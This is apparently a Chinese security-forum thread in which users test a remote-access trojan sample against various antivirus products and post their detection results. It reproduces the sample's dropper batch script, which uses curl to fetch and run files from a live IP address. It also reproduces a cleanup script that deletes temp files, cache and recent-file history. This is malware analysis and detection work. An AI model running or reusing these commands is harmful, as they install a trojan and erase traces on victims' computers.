远控木马

租车司机

下载链接

www-tekeze

绒智占楼。。。火绒通杀一个exe，智量Heur杀另一个exe，两者联手，安逸。。

QVM360

又是你。。ESET扫描miss，火绒见楼上，明天双击。。@QVM360

BE_HC

360TS Scan Kill 2x

1. [Install]
   
2. CmdLine=MIN\TianTian.exe execmd MIN\m.exe /c MIN\m.exe `< MIN\WPS.log

复制代码

1. @echo off
   
2. md C:\$loading
   
3. md C:\$loading\Word
   
4. start MIN\TianTian.exe execmd MIN\curl.exe -o C:\$loading\Word\EngineDP.bat http://43.226.38.106/EngineDP.bat -o C:\$loading\Word\Xssdll.txt http://43.226.38.106/Xssdll.txt -o C:\$loading\Word\Sun.exe http://43.226.38.106/Sun.exe
   
5. ping 127.0.0.1 -n 10 >nul
   
6. start C:\$loading\Word\Sun.exe
   
7. start MIN\e.jpg
   
8. pause

复制代码

1. del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
   
2. del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
   
3. del /f /s /q "%userprofile%\recent\*.*"
   
4. exit

复制代码

根据txt里面的下载下来的

lovelive10010

mcafee

pal家族

还有这个bat要下载一点东西估计才能正常运行
@echo off
md C:\$loading
md C:\$loading\Word
start MIN\TianTian.exe execmd MIN\curl.exe -o C:\$loading\Word\EngineDP.bat hXXp://43.226.38.106/EngineDP.bat -o C:\$loading\Word\Xssdll.txt hXXp://43.226.38.106/Xssdll.txt -o C:\$loading\Word\Sun.exe hXXp://43.226.38.106/Sun.exe
ping 127.0.0.1 -n 10 >nul
start C:\$loading\Word\Sun.exe
start MIN\e.jpg
pause

卡巴杀了sun和sxdll两个

11.03.2020 23.05.17;下载被阻止;http://43.226.38.106/Sun.exe;UDS ... .38.106/Sun.exe;360极速浏览器;未知对象;03/11/2020 23:05:17
11.03.2020 23.05.24;下载被阻止;http://43.226.38.106/Xssdll.txt; ... .106/Xssdll.txt;360极速浏览器;木马程序;03/11/2020 23:05:24


其余文件没要检测

www-tekeze

QVM360 发表于 2020-3-11 23:04
又是你。。E绒扫描均miss，明天双击。。@QVM360

看你楼上。。。火绒也Miss？E家Miss正常，国产毒嘛。。

QVM360

pal家族 发表于 2020-3-11 23:07
还有这个bat要下载一点东西估计才能正常运行
@echo off
md C:\$loading

sun.exe倍火绒拉黑

QVM360

www-tekeze 发表于 2020-3-11 23:08
看你楼上。。。火绒也Miss？E家Miss正常，国产毒嘛。。

正常，反正少了一个文件就运行不了了，防御成功。。来我帖子看看，睡觉。。

ELOHIM

微软扫描不报。